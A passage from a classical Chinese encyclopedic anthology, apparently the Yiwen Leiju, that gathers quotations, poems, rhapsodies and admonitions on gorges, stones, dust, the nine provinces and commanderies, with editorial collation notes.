皆 闻 有 金 石 丝 竹 之 声 .\n郑 缉 之 东 阳 记 曰 . 北 山 有 春 草 岩 根 竹 岩 仙 姥 岩 间 不 生 蔓 草 . 尽 出 龙 须 . 尤 多 药 物 .\n【 诗 】 梁 丘 迟 夜 发 密 岩 口 诗 曰 . 弭 桌 才 假 寐 . 击 汰 已\n争 先 . 敞 朗 朝 霞 澈 . 惊 明 晓 魄 悬 . 方 寻 仰 危 石 . 百 丈 窥\n重 泉 . 丛 枝 上 点 点 . 崩 溜 下 填 填 .\n庾 仲 雍 荆 州 记 曰 . 巴 楚 有 明 月 峡 广 德 峡 东 突 峡 . 今 谓 之 巫 峡 ● 归 峡 归 乡 峡 .\n袁 山 松 宜 都 记 曰 . 自 西 陵 溯 江 西 北 行 三 十 里 . 入 峡 口 . 其 山 行 周 回 隐 映 . 如 绝 复 通 . 高 山 重 嶂 . 非 日 中 夜 半 . 不 见 日 月 也 .\n邓 德 明 南 康 记 曰 . 雩 都 峡 去 县 百 里 . 两 边 傍 江 . 江 广 三 十 余 丈 . 高 岭 稠 叠 . 连 岩 石 峙 . 其 水 常 自 激 涌 . 奔 转 如 轮 . 春 夏 洪 潦 . 经 过 阻 绝 .\n王 韶 之 始 兴 记 曰 . 梁 鲜 二 水 口 下 流 . 有 滇 阳 峡 . 长 二 十 余 里 . 山 岭 纡 郁 . 丛 流 曲 勃 . 中 宿 县 有 贞 女 峡 . 峡 西 岸 水 际 . 有 石 . 如 人 形 . 状 似 女 子 . 是 曰 贞 女 . 父 老 相 传 . 秦 世 有 女 数 人 . 取 螺 于 此 . 遇 风 雨 昼 昏 . 而 一 女 化 为 此 石 .\n【 赋 】 梁 萧 子 范 建 安 城 门 峡 赋 曰 . 原 夫 城 门 之 所 都 . 迺 设 险 于 闽 区 . 艰 难 过 于 身 势 . 襟 要 甚 于 飞 狐 . 长 湍 一 流 而 沸 涌 . 曾 山 两 判 而 盘 纡 . 对 巘 双 分 . 干 宵 带 云 . 怪 石 随 波 而 隐 见 . 枯 槎 横 出 而 不 群 . 顾 瞻 左 右 . 重 峦 接 阜 . 其 间 如 砺 . 其 绝 如 斗 . 千 乘 驰 轮 . 匹 夫 可 守 . 巃 崧 呀 呷 . 蹙 浪 杨 华 . 雁 门 饮 羽 . 西 施 浣 沙 . 瑰 诡 丰 隆 . 质 状 不 同 . 班 黄 糅 采 . 玄 紫 潜 通 . 水 奔 湍 其 如 电 . 声 疾 烈 其 如 风 . 树 低 柯 而 翠 郁 . 潭 隐 日 而 青 空 .\n隋 江 总 贞 女 峡 赋 曰 . 倦 辛 苦 于 岭 表 . 遂 沉 沦 于 海 外 .\n迹 飘 飖 于 转 蓬 . 情 缭 绕 于 悬 旆 . 骇 兹 峡 之 珍 怪 . 伫 奇 峰\n而 瞩 . 或 逦 迤 而 四 成 . 乍 嶵 ● 而 五 曲 . 含 照 曜 之 烛 银\n. 渧 潺 湲 之 膏 玉 . 山 苍 苍 以 坠 叶 . 树 索 索 而 摇 枝 . 澄 碧\n源 之 见 底 . 耸 翠 壁 以 临 危 .\n尚 书 曰 . 青 州 . 厥 贡 铅 松 怪 石 .\n周 官 曰 . 大 司 寇 . 以 嘉 石 平 罢 民 . 有 罪 者 坐 诸 嘉 石 . 以 肺 石 达 穷 民 . 凡 茕 独 老 幼 . 欲 复 于 上 而 未 达 者 . 立 于 肺 石 . 注 曰 . 嘉 石 . 文 石 也 . 肺 石 . 赤 石 也 .\n毛 诗 曰 . 渐 渐 之 石 . 维 其 高 矣 .\n穆 天 子 传 曰 . 天 子 升 于 采 石 之 山 . 于 是 取 采 石 焉 . 铸 以 成 器 . 于 黑 水 之 上 .\n尸 子 曰 . 昔 者 武 王 崩 . 成 王 少 . 周 公 旦 践 东 宫 . 履 乘 石 . 祀 明 堂 . 假 为 天 子 七 年 . 乘 石 . 王 所 登 上 车 之 石 也 .\n列 子 曰 . 天 亦 物 也 . 物 有 不 足 . 故 昔 者 女 娲 氏 炼 五 色 之 石 . 以 补 其 阙 .\n隋 巢 子 曰 . 禹 产 于 石 . 启 生 于 石 . 王 韶 之 云 . 启 生 而 母 化 为 石 .\n吕 氏 春 秋 曰 . 石 可 破 也 . 不 可 夺 其 坚 .\n史 记 曰 . 王 翦 ○ 原 讹 剪 . 据 冯 校 本 改 . 下 同 . 代 李 信 击 荆 . 荆 兵 数 挑 战 . 终 不 出 . 久 之 . 翦 使 人 问 军 中 戏 乎 . 对 曰 . 方 投 石 超 距 . 翦 曰 . 士 卒 可 用 矣 .\n又 曰 . 张 良 见 老 人 出 一 编 书 . 曰 . 读 是 则 为 王 者 师 . 后 十 二 年 . 见 我 济 北 谷 城 山 下 . 黄 石 即 我 也 . 良 后 果 得 黄 石 . 宝 而 祠 之 . 及 死 . 并 葬 黄 石 . 伏 腊 祠 之 .\n韩 诗 外 传 曰 . 楚 熊 渠 子 夜 行 . 见 寝 石 . 以 为 伏 虎 . 弯 弓 而 射 之 . 没 金 饮 羽 . 下 视 . 知 其 石 也 . 因 复 射 之 . 矢 摧 无 迹 . 汉 书 载 李 广 . 亦 如 之 .\n十 洲 记 曰 . 流 洲 . 在 西 海 中 . 上 多 积 石 . 名 为 昆 吾 石 . 冶 其 成 铁 . 作 剑 . 光 明 照 洞 . 如 水 精 状 . 割 玉 物 . 如 切 泥 土 焉 .\n阚 子 曰 . 宋 之 愚 人 . 得 燕 石 于 梧 台 之 东 . 归 而 藏 之 以 为 宝 . 周 客 闻 而 观 焉 . 主 人 斋 七 日 . 端 冕 玄 服 以 发 宝 . 革 匮 十 重 . 缇 巾 十 袭 . 客 见 之 . 掩 口 而 笑 曰 . 此 特 燕 石 也 . 其 与 瓦 甓 不 殊 .\n应 劭 汉 官 仪 曰 . 马 伯 弟 登 太 山 . 见 石 二 枚 . 其 一 是 武 帝 时 石 . 用 五 车 载 不 能 上 . 因 置 山 下 为 屋 . 号 曰 五 车 石 . 其 一 是 纪 号 石 . 刻 文 字 . 纪 功 德 . 立 坛 上 .\n博 物 志 曰 . 桃 林 . 在 弘 农 湖 城 县 休 牛 之 山 . 有 石 焉 . 曰 帝 台 之 椹 也 . 五 色 而 文 . 状 如 鹑 卵 .\n神 仙 传 曰 . 白 石 生 者 . 恒 煮 白 石 为 粮 . 就 白 石 山 居 . 故 号 白 石 先 生 .\n游 名 山 志 曰 . 芙 蓉 渚 有 耸 石 . 头 如 初 生 芙 蓉 . 色 皆 青 白 .\n三 齐 略 记 曰 . 始 皇 作 石 塘 . 欲 过 海 看 日 出 处 . 时 有 神 人 . 能 驱 石 下 海 . 石 去 不 速 . 神 辄 鞭 之 . 皆 流 血 . 至 今 悉 赤 . 阳 城 山 石 尽 起 立 . 嶷 嶷 东 倾 . 状 如 相 随 行 . 事 具 神 篇 .\n王 韶 之 南 康 记 曰 . 湘 源 有 长 濑 . 其 傍 石 . 或 像 人 形 . 或 似 牛 羊 . 其 土 人 名 人 形 者 为 令 史 .\n邓 德 明 南 康 记 曰 . 雩 都 县 有 金 鸡 石 .\n武 昌 记 曰 . 盘 龙 石 . 旧 传 云 . 有 龙 盘 于 此 石 . 积 日 方 去 .\n庾 仲 雍 荆 州 记 曰 . 归 乡 县 有 屈 原 宅 . 女 须 庙 . 捣 衣 石 . 犹 存 .\n荆 州 图 副 曰 . 宜 都 有 石 穴 . 穴 有 二 石 . 相 去 一 丈 . 俗 云 . 其 一 为 阳 石 . 其 一 为 阴 石 . 水 旱 为 灾 . 鞭 阳 石 则 雨 . 鞭 阴 石 则 晴 .\n异 苑 曰 . 永 康 王 旷 井 上 有 一 洗 石 . 时 见 赤 气 . 后 有 二 胡 人 寄 宿 . 忽 求 买 之 . 旷 怪 所 以 . 未 及 度 钱 . 子 妇 孙 氏 . 睹 二 黄 鸟 斗 于 石 上 . 疾 往 掩 取 . 变 成 黄 金 . 胡 人 不 知 . 索 市 愈 急 . 既 得 撞 破 . 石 内 空 段 . 有 二 鸟 处 .\n幽 明 录 曰 . 宜 都 建 平 二 郡 之 界 . 有 倚 石 . 如 二 人 像 . 攘 袂 相 对 . 俗 谓 二 郡 督 邮 争 界 于 此 .\n又 曰 . 宫 亭 湖 边 傍 山 闲 . 有 石 数 枚 . 形 圆 若 镜 . 明 可 以 鉴 人 . 谓 之 石 镜 .\n【 诗 】 陈 阴 铿 咏 石 诗 曰 . 天 汉 支 机 罢 . 仙 岭 博 棋 余 . 零 陵 旧 是 鷰 . 昆 池 本 学 鱼 . 云 移 莲 势 出 . 苔 駮 锦 文 疏 . 还 当 谷 城 下 . 别 自 解 兵 书 .\n陈 周 弘 正 咏 石 鲸 应 诏 诗 曰 . 石 鲸 何 壮 丽 . 独 在 天 池 阴 . 骞 鳍 类 横 海 . 半 出 似 浮 深 . 吞 航 本 无 日 . 吐 浪 亦 难 寻 . 圣 帝 游 灵 沼 . 能 怀 跃 藻 心 .\n【 赋 】 陈 张 正 见 石 赋 曰 . 连 山 蔽 亏 . 巨 石 嵚 崎 . 上 兴 云 而 蔚 荟 . 下 激 水 而 推 移 . 舒 丹 霞 于 九 折 . 混 白 露 于 三 危 . 镇 方 城 于 濮 水 . 固 天 阙 于 汤 池 . 开 五 岳 之 灵 图 . 集 九 老 之 仙 都 . 韬 神 弓 于 射 的 . 产 利 剑 于 昆 吾 . 鱼 跃 湘 乡 之 水 . 雁 浮 平 固 之 湖 . 嶞 山 鹊 之 金 印 . 碎 骊 龙 之 宝 珠 . 奄 蔼 披 衣 . 氤 氲 翠 微 . 精 卫 取 而 填 海 . 天 孙 用 以 支 机 . 随 西 王 而 不 落 . 傍 东 武 而 俱 飞 .\n【 赞 】 晋 郭 璞 磁 石 赞 曰 . 磁 石 吸 铁 . 琥 珀 取 芥 . 气 有\n潜 通 . 数 亦 冥 会 . 物 之 相 感 . 出 乎 意 外 .\n礼 记 曰 . 为 长 者 粪 之 礼 . 必 加 帚 于 箕 上 . 以 袂 拘 而 退 . 其 尘 不 及 长 者 .\n又 曰 . 前 有 尘 埃 . 则 载 鸣 鸢 .\n毛 诗 曰 . 无 将 大 车 . 维 尘 冥 冥 .\n左 传 曰 . 晋 楚 战 于 城 濮 . 狐 毛 设 二 旆 而 退 之 . 栾 枝 使 舆 曳 柴 而 伪 遁 . 曳 柴 起 尘 . 作 众 走 .\n老 子 曰 . 和 其 光 . 同 其 尘 .\n庄 子 曰 . 野 马 也 . 尘 埃 也 . 生 物 之 以 息 相 吹 者 也 .\n楚 辞 曰 . 安 能 以 皓 皓 之 白 . 蒙 世 俗 之 尘 埃 哉 . 淮 南 子 曰 . 地 不 满 东 南 . 故 水 潦 尘 埃 归 焉 .\n谢 承 后 汉 书 曰 . 范 丹 . 字 史 云 . 所 居 单 陋 . 有 时 绝 粮 . 闾 里 歌 之 曰 . 甑 中 生 尘 范 史 云 也 .\n应 璩 与 曹 公 笺 曰 . 昔 汉 光 武 与 戴 子 高 . 有 抚 尘 之 好 .\n蔡 邕 劝 学 曰 . 蚓 无 爪 牙 . 软 弱 不 便 . 穿 穴 洞 地 . 食 尘 饮 泉 .\n博 物 志 曰 . 徐 州 人 谓 尘 土 为 蓬 块 . 吴 人 谓 尘 土 为 埃 坱 .\n李 康 游 山 序 曰 . 盖 人 生 天 地 之 闲 也 . 若 流 电 之 过 户 牖 . 轻 尘 之 弱 草 .\n郭 子 曰 . 庾 公 名 位 渐 重 . 足 倾 王 公 . 时 庾 亮 在 石 头 . 王 公 在 城 . 忽 风 起 扬 尘 . 王 公 以 扇 拂 之 曰 . 元 规 尘 污 人 . 元 规 . 庾 亮 字 . 王 公 . 王 导 也 .\n【 诗 】 晋 傅 玄 飞 尘 篇 曰 . 飞 尘 秽 清 流 . 朝 云 蔽 日 光 . 秋 兰 岂 不 芬 . 鲍 肆 乱 其 芳 . 河 决 溃 金 堤 . 一 手 不 能 障 .\n梁 简 文 帝 咏 梁 尘 诗 曰 . 依 帷 翠 濛 重 . 带 日 聚 轻 红 . 定 为 歌 声 起 . 非 关 团 扇 风 .\n梁 徐 摛 赋 得 帘 尘 诗 曰 . 朝 逐 珠 胎 卷 . 夜 傍 玉 钩 垂 . 恒\n交 罗 袖 拂 . 不 分 秋 风 吹 .\n州部 冀州 杨州 荆州 青州 徐州 兖州\n豫州 雍州 益州 幽州 并州 交州\n春 秋 说 题 辞 曰 . 州 之 言 殊 也 . 合 同 类 . 异 其 界 也 .\n说 文 曰 . 尧 遭 洪 水 . 民 居 水 中 高 土 . 故 名 曰 州 . 一 曰 . 州 . 畴 也 . 畴 其 土 而 生 之 也 .\n物 理 论 曰 . 九 州 变 易 交 错 不 同 . 禹 贡 有 梁 州 . 无 并 州 . 周 官 有 并 州 . 无 梁 州 . 尔 雅 有 营 州 . 无 青 州 . 汉 兴 . 武 帝 开 拓 三 方 . 立 十 三 州 . 通 并 梁 之 数 . 而 增 交 益 焉 .\n风 俗 通 曰 . 周 礼 . 五 党 为 州 . 州 . 畴 也 . 州 有 长 . 使 之 相 周 足 也 .\n河 图 括 地 象 曰 . 天 有 九 部 八 纪 . 地 有 九 州 八 柱 .\n尚 书 大 传 曰 . 古 之 处 师 . 八 家 ○ 太 平 御 览 一 百 五 十 七 家 下 有 而 为 邻 三 字 . 三 邻 而 为 明 . ○ 御 览 作 朋 . 下 同 . 三 明 而 为 里 . 五 里 而 为 邑 . 十 邑 而 为 都 . 十 都 而 为 师 . 州 十 有 二 师 焉 .\n张 衡 灵 宪 图 曰 . 昆 仑 东 南 . 有 赤 县 之 州 . 风 雨 有 时 . 寒 暑 有 节 . 苟 非 此 土 . 南 则 多 暑 . 北 则 多 寒 . 东 则 多 阴 . 故 圣 王 不 处 焉 .\n史 记 曰 . 邹 衍 着 书 云 . 中 国 于 天 下 . 八 十 一 分 居 其 一\n分 耳 . 中 国 名 赤 县 . 赤 县 内 自 有 九 州 . 禹 之 叙 九 州 是 也\n. 不 得 为 州 数 . 中 国 外 . 如 赤 县 州 者 有 九 . 乃 谓 九 州 也\n. 有 神 ○ 初 学 记 八 . 太 平 御 览 一 百 五 十\n七 作 裨 . 海 环 之 . 如 一 区 中 者 . 乃 为 一 州 . 如 是 者\n九 . 乃 有 大 瀛 海 环 其 外 . 天 地 之 际 焉 .\n周 官 曰 . 河 内 曰 冀 州 . 其 山 镇 曰 霍 山 . 其 泽 薮 曰 杨 纡 . 其 川 漳 . 其 浸 汾 潞 . 其 利 松 柏 .\n春 秋 元 命 苞 曰 . 昴 毕 闲 为 天 街 . 散 为 冀 州 . 分 为 赵 国 . 立 为 常 山 .\n淮 南 子 曰 . 往 古 之 时 . 四 极 废 . 九 州 裂 . 于 是 女 娲 杀 黑 龙 . 以 祭 冀 州 . 事 具 帝 王 部 .\n释 名 曰 . 冀 州 . 取 地 以 为 名 也 . 其 地 有 险 有 易 . 帝 王 所 都 . 乱 则 冀 治 . 弱 则 冀 强 . 荒 则 冀 丰 也 .\n【 赋 】 汉 班 彪 冀 州 赋 曰 . 夫 何 事 于 冀 州 . 聊 托 公 以 游 居 . 历 九 州 而 观 风 . 亦 哲 人 之 所 娱 . 望 常 山 之 峨 峨 . 登 北 岳 而 高 游 . 建 封 坛 于 岱 宗 . 瘗 玄 玉 于 此 丘 . 遍 五 岳 与 四 渎 . 观 沧 海 以 周 流 .\n【 箴 】 汉 杨 雄 冀 州 箴 曰 . 洋 洋 冀 州 . 鸿 原 大 陆 . 岳 阳\n是 都 . 岛 夷 皮 服 . 潺 湲 河 流 . 表 以 碣 石 . 三 后 攸 降 . 列\n为 侯 伯 . 隆 周 之 末 . 赵 魏 是 宅 . 冀 土 麋 沸 . 炫 沄 如 汤 .\n更 盛 更 衰 . 载 从 载 横 . 汉 兴 定 制 . 改 列 藩 王 . 故 治 不 忘\n乱 . 安 不 忘 危 . 牧 臣 司 冀 . 敢 告 在 阶 .\n周 官 曰 . 东 南 曰 杨 州 . 其 山 镇 曰 会 稽 . 其 泽 薮 曰 具 区 . 其 川 三 江 . 其 浸 五 湖 . 其 利 金 锡 竹 箭 .\n春 秋 元 命 苞 曰 . 牵 牛 流 为 杨 州 . 分 为 越 国 . 立 为 杨 山 .\n续 汉 书 曰 . 张 禹 拜 杨 州 刺 史 . 当 济 江 行 部 . 土 人 皆 以 江 有 子 胥 之 神 . 难 于 济 涉 . 禹 厉 声 云 . 子 胥 若 其 有 灵 . 知 吾 志 在 理 察 枉 讼 . 岂 危 我 哉 . 令 鼓 楫 而 过 . 历 行 部 邑 吏 民 希 见 者 . 人 怀 喜 悦 .\n益 部 耆 旧 传 云 . 严 遵 为 杨 州 刺 史 . 行 部 . 闻 道 傍 女 子 哭 声 不 哀 . 问 所 哭 者 谁 . 对 云 . 夫 遭 烧 死 . 遵 敕 吏 舁 尸 到 . 与 语 讫 . 语 吏 云 . 死 人 自 道 不 烧 死 . 摄 女 . 令 人 守 尸 . 云 当 有 ○ 太 平 御 览 二 百 五 十 八 作 有 物 . 此 脱 . 往 . 吏 白 有 蝇 聚 头 所 . 遵 令 披 视 . 得 铁 锥 贯 顶 . 考 问 . 淫 杀 夫 .\n【 箴 】 汉 杨 雄 杨 州 箴 曰 . 天 矫 杨 州 . 江 汉 之 浒 . 彭 蠡\n既 潴 . 阳 鸟 攸 处 . 橘 柚 羽 贝 . 瑶 琨 篠 簜 . 闽 越 北 垠 . 沅\n湘 攸 往 . 翩 彼 昭 王 . 南 征 不 旋 . 人 咸 踬 于 垤 . 莫 踬 于 山\n. 太 伯 逊 位 . 其 吴 绍 类 . 夫 差 一 误 . 太 伯 无 祚 . 周 室 不\n匡 . 勾 践 入 霸 . 当 周 之 隆 . 越 裳 重 译 . 春 秋 之 末 . 侯 甸\n叛 逆 . 元 首 不 可 不 思 . 股 肱 不 可 不 慈 . 尧 崇 屡 省 . 舜 盛\n钦 谋 . 牧 臣 司 杨 . 敢 告 执 筹 .\n释 名 曰 . 荆 州 . 取 名 于 荆 山 也 . 荆 . 警 也 . 警 南 蛮 数 为 寇 逆 . 其 民 有 道 后 服 . 无 道 先 强 . 常 警 备 之 也 .\n春 秋 元 命 苞 曰 . 轸 星 散 为 荆 州 . 分 为 楚 国 . 荆 之 为 言 强 也 . 阳 盛 物 坚 . 其 气 急 悍 也 .\n元 康 地 记 曰 . 荆 州 于 古 . 蛮 服 之 地 也 . 秦 灭 楚 . 置 郡 县 . 汉 武 分 为 交 州 . 至 魏 晋 而 荆 州 所 部 郡 国 二 十 .\n周 官 曰 . 正 南 曰 荆 州 . 其 山 镇 曰 衡 山 . 其 泽 薮 曰 云 梦 . 其 川 江 汉 . 其 浸 颍 湛 . 其 利 丹 银 齿 角 .\n沈 约 宋 书 曰 . 朱 脩 之 为 荆 州 刺 史 . 百 城 士 民 赠 贶 . 一 毫 无 所 受 . 去 镇 之 日 . 秋 毫 无 犯 . 计 在 州 以 来 . 内 外 燃 油 . 及 私 牛 马 食 费 . 以 私 钱 六 十 万 裨 之 .\n【 箴 】 汉 杨 雄 荆 州 箴 曰 . 杳 杳 巫 山 . 在 荆 之 阳 . 江 汉\n朝 宗 . 其 流 汤 汤 . 云 梦 涂 泥 . 包 匦 菁 茅 . 金 玉 砥 砺 . 象\n齿 元 龟 . 贡 篚 百 物 . 世 世 以 饶 . 战 战 栗 栗 . 至 桀 荒 溢 .\n我 在 帝 位 . 若 天 有 日 . 不 顺 庶 国 . 孰 敢 余 夺 . 亦 有 成 汤\n. 果 秉 其 钺 . 放 之 南 巢 . 号 之 以 桀 . 南 巢 茫 茫 . 多 楚 与\n荆 . 风 飘 以 悍 . 气 锐 以 刚 . 有 道 后 服 . 无 道 先 强 . 世 虽\n安 平 . 无 敢 逸 豫 . 牧 臣 司 荆 . 敢 告 执 御 .\n春 秋 元 命 苞 曰 . 虚 危 之 精 . 流 为 青 州 . 分 为 齐 国 . 立 为 莱 山 .\n太 康 地 记 曰 . 青 州 . 东 方 少 阳 . 其 色 青 . 其 气 清 . 岁 之 首 . 事 之 始 也 . 故 以 为 名 . 周 之 建 国 . 表 齐 东 海 . 居 于 青 州 . 故 吴 季 札 观 乐 于 鲁 . 闻 齐 之 诗 . 云 泱 泱 乎 大 国 之 风 也 . 其 表 东 海 者 乎 .\n周 官 曰 . 正 东 曰 青 州 . 其 山 镇 曰 沂 山 . 其 泽 薮 曰 望 诸 . 其 川 淮 泗 . 其 浸 沂 沐 . ○ 周 礼 职 方 氏 作 沭 . 其 利 蒲 鱼 .\n王 隐 晋 书 云 . 苟 晞 为 青 州 刺 史 . 役 烦 赋 重 . 民 不 堪 命 . 日 斩 十 人 . 流 血 成 川 . 号 云 屠 伯 .\n【 箴 】 汉 杨 雄 青 州 箴 曰 . 茫 茫 青 州 . 海 岱 是 极 . 盐 铁\n之 地 . 铅 松 怪 石 . 群 水 攸 归 . 莱 夷 作 牧 . 贡 篚 以 时 . 莫\n怠 莫 违 . 昔 在 文 武 . 封 吕 于 齐 . 厥 土 涂 泥 . 在 丘 之 营 .\n五 侯 九 伯 . 是 讨 是 征 . 马 殆 其 衔 . 御 失 其 度 . 周 室 荒 乱\n. 小 白 以 霸 . 诸 侯 虽 服 . 复 尊 京 师 . 小 白 既 没 . 周 卒 陵\n迟 . 嗟 兹 天 王 . 附 命 下 土 . 失 其 法 度 . 丧 其 文 武 . 牧 臣\n司 青 . 敢 告 执 矩 .\n春 秋 元 命 苞 曰 . 天 弓 星 . 主 司 弓 弩 . 流 为 徐 州 . 别 为 鲁 国 . 徐 之 为 言 舒 也 . 言 阴 牧 内 安 详 也\n【 箴 】 汉 杨 雄 徐 州 箴 曰 . 海 岱 伊 淮 . 东 海 是 渚 . 豫 州\n之 土 . 邑 于 蕃 宇 . 大 野 既 猪 . 有 羽 有 蒙 . 孤 桐 玭 珠 . 泗\n沂 攸 同 . 降 周 任 姜 . 镇 于 琅 . 姜 氏 绝 苗 . 田 氏 攸 都 .\n事 犹 细 微 . 不 虑 不 图 . 祸 如 丘 山 . 本 在 萌 牙 . 牧 臣 司 徐\n. 敢 告 仆 夫 .\n春 秋 元 命 苞 曰 . 五 星 流 为 兖 州 . 兖 之 言 端 也 . 言 堤 精 端 . 故 其 气 纤 杀 . 分 为 郑 国 .\n周 官 曰 . 河 东 曰 兖 州 . 其 山 镇 曰 岱 山 . 其 泽 薮 曰 大 野 . 其 川 河 沛 . 其 浸 卢 维 . 其 利 蒲 鱼 .\n【 箴 】 汉 杨 雄 兖 州 箴 曰 . 悠 悠 济 河 . 兖 州 之 寓 . 九 河\n既 导 . 雷 夏 攸 处 . 草 繇 木 条 . 漆 丝 絺 纻 . 济 漯 既 通 . 降\n丘 宅 土 . 成 汤 五 徙 . 卒 都 于 亳 . 盘 庚 北 度 . 牧 野 是 宅 .\n箕 子 歔 欷 . 厥 居 为 墟 . 牧 臣 司 兖 . 敢 告 执 书 .\n春 秋 元 命 苞 曰 . 钩 钤 星 . 别 为 豫 州 . 豫 之 为 言 序 也 . 言 阴 阳 分 布 . 各 得 处 也 .\n周 官 曰 . 河 南 曰 豫 州 . 其 山 镇 曰 华 山 . 其 泽 薮 曰 圃 田 . 其 川 荥 洛 . 其 浸 波 溠 . 其 利 林 漆 丝 枲 .\n【 箴 】 汉 杨 雄 豫 州 箴 曰 . 郁 郁 荆 河 . 伊 洛 是 经 . 荥 嶓\n枲 漆 . 惟 用 攸 成 . 田 田 相 拏 . 庐 庐 相 距 . 夏 殷 不 都 . 成\n周 攸 处 . 豫 野 所 居 . 爰 在 鹑 墟 . 四 隩 咸 宅 . 寓 内 莫 如 .\n毋 曰 我 大 . 莫 或 余 败 . 毋 曰 我 强 . 靡 克 余 亡 . 王 为 极\n. 实 绝 周 祀 . 牧 臣 司 豫 . 敢 告 柱 史 .\n春 秋 元 命 苞 曰 . 东 井 鬼 星 . 散 为 雍 州 . 分 为 秦 国 . 东 距 殽 阪 . 西 有 汉 中 . 南 含 高 山 . 北 阻 居 庸 . 得 东 井 动 深 之 萌 . 其 气 险 也 .\n春 秋 文 燿 钩 曰 . 华 岐 以 北 . 龙 门 积 石 . 南 至 三 危 之 野 . 雍 州 . 属 魁 星 .\n太 康 地 记 曰 . 雍 州 兼 得 梁 州 之 地 . 西 北 之 位 . 阳 所 不 及 . 阴 气 雍 阏 . 故 取 名 焉 .\n周 官 曰 . 正 西 曰 雍 州 . 其 山 镇 曰 曰 ○ 曰 字 衍 . 岳 山 . 其 泽 薮 曰 弦 蒲 . 其 川 泾 汭 . 其 浸 洛 . 其 利 玉 石 .\n【 箴 】 汉 杨 雄 雍 州 箴 曰 . 黑 水 西 河 . 横 截 昆 仑 . 邪 指\n阊 阖 . 尽 为 雍 垠 . 上 侵 积 石 . 下 碍 龙 门 . 盖 安 不 忘 危 .\n盛 不 讳 衰 . 牧 臣 司 雍 . 敢 告 赘 衣 .\n杨 雄 蜀 本 纪 曰 . 蜀 始 王 曰 蚕 丛 . 次 曰 伯 雍 . 次 曰 鱼 凫 .\n又 曰 . 武 都 人 有 女 . 蜀 王 纳 以 为 妃 . 疾 卒 . 葬 于 成 都 . 作 石 镜 一 枚 . 以 表 其 墓 .\n十 三 州 志 曰 . 蜀 王 杜 宇 . 自 号 望 帝 .\n左 思 蜀 都 赋 曰 . 外 负 铜 梁 宕 渠 . 内 函 要 害 膏 腴 .\n【 箴 】 汉 杨 雄 益 州 箴 曰 . 岩 岩 岷 山 . 古 曰 梁 州 . 华 阳\n西 极 . 黑 水 南 流 . 秦 作 无 道 . 三 方 溃 叛 . 义 兵 征 暴 . 遂\n国 于 汉 . 拓 开 疆 宇 . 恢 梁 之 野 . 列 为 十 二 . 光 羡 虞 夏 .\n牧 臣 司 梁 . 是 职 是 图 . 经 营 盛 衰 . 敢 告 士 夫 .\n春 秋 元 命 苞 曰 . 箕 星 散 为 幽 州 . 分 为 燕 国 . 幽 之 为 言 窈 也 . 言 风 出 入 窈 冥 . 敏 劲 易 晓 . 故 其 气 躁 急 .\n释 名 曰 . 幽 州 在 北 . 幽 昧 之 地 也 .\n【 箴 】 汉 杨 雄 幽 州 箴 曰 . 荡 荡 平 川 . 惟 冀 之 别 . 伊 昔\n唐 虞 . 实 为 平 陆 . 周 末 荐 臻 . 迫 于 獯 鬻 . 六 国 擅 权 . 燕\n赵 本 都 . 东 限 秽 . 羡 及 东 湖 . ○ 初 学\n记 八 作 胡 . 彊 秦 北 排 . 蒙 公 城 疆 . 大 汉 初 定 . 分 狄\n之 荒 . 元 戎 屡 征 . 如 风 之 腾 . 义 兵 涉 漠 . 偃 我 边 萌 . 既\n定 且 康 . 复 古 虞 唐 . 盛 不 可 不 图 . 衰 不 可 不 忘 . 堤 溃 蚁\n穴 . 器 漏 藏 亡 . 牧 臣 司 幽 . 敢 告 侍 旁 .\n太 康 地 记 曰 . 并 州 不 以 卫 水 为 号 . 又 不 以 恒 山 为 名 . 而 云 并 者 . 盖 以 其 在 两 谷 之 闲 乎 . 韩 魏 赵 谓 之 三 晋 . 即 并 冀 二 州 . 是 其 地 也 .\n周 官 曰 . 正 北 曰 并 州 . 其 山 镇 曰 恒 山 . 其 泽 薮 曰 昭 余 祁 . 其 川 呼 池 呕 夷 . 其 浸 漆 ○ 周 礼 职 方 氏 作 涞 . 易 . 其 利 布 帛 .\n【 箴 】 汉 杨 雄 并 州 箴 曰 . 雍 别 朔 方 . 河 水 悠 悠 . 北 辟\n獯 鬻 . 南 界 泾 流 . 尽 兹 朔 土 . 正 真 ○ 初\n学 记 八 作 直 . 幽 方 . 自 昔 何 为 . 莫 敢 不 来 贡 . 莫 敢\n不 来 王 . 周 穆 遐 征 . 犬 戎 不 享 . 爰 藐 伊 意 . 侵 玩 上 国 .\n宣 王 命 将 . 攘 之 泾 北 . 宗 幽 罔 识 . 日 用 爽 蹉 . 既 不 俎 豆\n. 又 不 干 戈 . 犬 戎 作 难 . 毙 于 骊 阿 . 太 上 曜 德 . 其 次 曜\n兵 . 德 兵 俱 颠 . 靡 不 悴 荒 . 牧 臣 司 并 . 敢 告 执 纲 .\n太 康 地 记 曰 . 交 州 本 属 杨 州 . 取 交 址 以 为 名 . 虞 之 南 极 也 . 周 有 天 下 . 越 裳 氏 慕 圣 人 之 德 . 重 九 译 . 贡 白 雉 . 秦 灭 六 国 . 南 开 百 越 . 置 桂 林 象 郡 . 以 赵 他 为 龙 川 令 . 因 秦 之 末 . 自 擅 南 裔 . 汉 高 革 命 . 加 以 王 爵 . 始 变 椎 髻 . 袭 冠 冕 焉 .\n【 箴 】 汉 杨 雄 交 州 箴 曰 . 交 州 荒 裔 . 水 与 天 际 . 越 裳\n是 南 . 荒 国 之 外 . 爰 自 开 辟 . 不 羁 不 绊 . 周 公 摄 祚 . 白\n雉 是 献 . 昭 王 陵 迟 . 周 室 是 乱 . 越 裳 绝 贡 . 荆 楚 逆 叛 .\n大 汉 受 命 . 中 国 兼 该 . 南 海 之 宇 . 圣 武 是 恢 . 稍 稍 受 羁\n. 遂 臻 黄 支 . 抗 海 三 万 . 来 牵 其 犀 . 盛 不 可 不 忧 . 隆 不\n可 不 惧 . 泉 竭 中 虚 . 池 竭 濑 干 . 牧 臣 司 交 . 敢 告 执 宪 .\n郡 部 河南郡 京兆郡 宣城郡 会稽郡\n风 俗 通 曰 . 周 制 . 天 子 方 千 里 . 分 为 县 . 县 有 四 郡 . 故 左 氏 传 曰 . 上 大 夫 受 县 . 下 大 夫 受 郡 . 至 秦 始 皇 . 初 置 三 十 六 郡 . 以 监 县 .\n应 劭 汉 官 曰 . 秦 用 李 斯 议 . 分 天 下 为 三 十 六 郡 . 凡 郡 . 或 以 列 国 . 陈 鲁 齐 吴 是 也 . 或 以 旧 名 . 长 沙 丹 阳 是 也 . 或 以 山 陵 . 太 山 山 阳 是 也 . 或 以 川 源 . 西 河 河 东 也 . 或 以 所 出 . 金 城 城 下 有 金 . 酒 